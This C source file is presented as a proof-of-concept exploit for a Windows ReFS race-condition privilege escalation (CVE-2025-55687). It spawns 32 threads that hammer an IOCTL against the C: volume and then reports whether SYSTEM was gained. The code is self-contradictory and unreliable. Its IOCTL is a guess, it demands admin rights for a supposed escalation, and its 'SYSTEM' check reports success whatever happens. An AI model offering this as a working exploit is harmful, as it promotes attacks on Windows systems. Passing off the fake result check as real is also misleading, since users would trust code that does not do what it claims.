// CVE-2025-55687 - Windows ReFS Race Condition Local Privilege Escalation PoC
// This is a conceptual PoC demonstrating the race condition exploitation pattern.
// Note: Actual exploitation requires precise timing and kernel debugging.
#include <windows.h>
#include <stdio.h>
#include <io.h>
#include <fcntl.h>
// Number of concurrent threads to maximize race window probability
#define NUM_THREADS 32
// Structure to pass parameters to worker threads
typedef struct _RACE_CONTEXT {
HANDLE hDevice; // Handle to ReFS volume device
PVOID pvTargetResource; // Target shared resource address
HANDLE hEventStart; // Synchronization event for thread start
volatile LONG* plFlag; // Shared flag for race condition trigger
} RACE_CONTEXT, *PRACE_CONTEXT;
// Worker thread that triggers the race condition in ReFS driver
DWORD WINAPI RaceConditionThread(LPVOID lpParam) {
PRACE_CONTEXT ctx = (PRACE_CONTEXT)lpParam;
// Wait for start signal to synchronize threads
WaitForSingleObject(ctx->hEventStart, INFINITE);
// Continuously attempt to trigger the race condition
for (int i = 0; i < 10000; i++) {
// Send IOCTL to ReFS driver to access shared resource
DWORD bytesReturned = 0;
DeviceIoControl(
ctx->hDevice,
0x0009001C, // FSCTL_REFS_DEALLOCATE_RANGES or similar ReFS-specific IOCTL
NULL, 0,
NULL, 0,
&bytesReturned,
NULL
);
// Interlocked operation to manipulate shared state in race window
InterlockedExchange(ctx->plFlag, 1);
}
return 0;
}
// Main exploit routine
int main() {
printf("[+] CVE-2025-55687 ReFS Race Condition LPE PoC\n");
// Step 1: Obtain handle to ReFS volume
HANDLE hRefs = CreateFileW(
L"\\\\.\\C:",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED,
NULL
);
if (hRefs == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open ReFS volume. Run as admin.\n");
return 1;
}
// Step 2: Setup synchronization primitives
HANDLE hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
volatile LONG lFlag = 0;
// Step 3: Create worker threads to trigger race condition
HANDLE hThreads[NUM_THREADS];
RACE_CONTEXT ctx = { hRefs, NULL, hEvent, &lFlag };
for (int i = 0; i < NUM_THREADS; i++) {
hThreads[i] = CreateThread(NULL, 0, RaceConditionThread, &ctx, 0, NULL);
}
// Step 4: Release all threads simultaneously to maximize race window
printf("[+] Triggering race condition with %d threads...\n", NUM_THREADS);
SetEvent(hEvent);
// Step 5: Wait and check if privilege escalation succeeded
WaitForMultipleObjects(NUM_THREADS, hThreads, TRUE, INFINITE);
// Step 6: Verify elevation to SYSTEM
BOOL isSystem = FALSE;
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
DWORD needed;
GetTokenInformation(hToken, TokenUser, NULL, 0, &needed);
isSystem = (needed > 0); // Simplified check
CloseHandle(hToken);
}
printf("[+] Exploit completed. SYSTEM: %s\n", isSystem ? "YES" : "NO");
CloseHandle(hRefs);
return 0;
}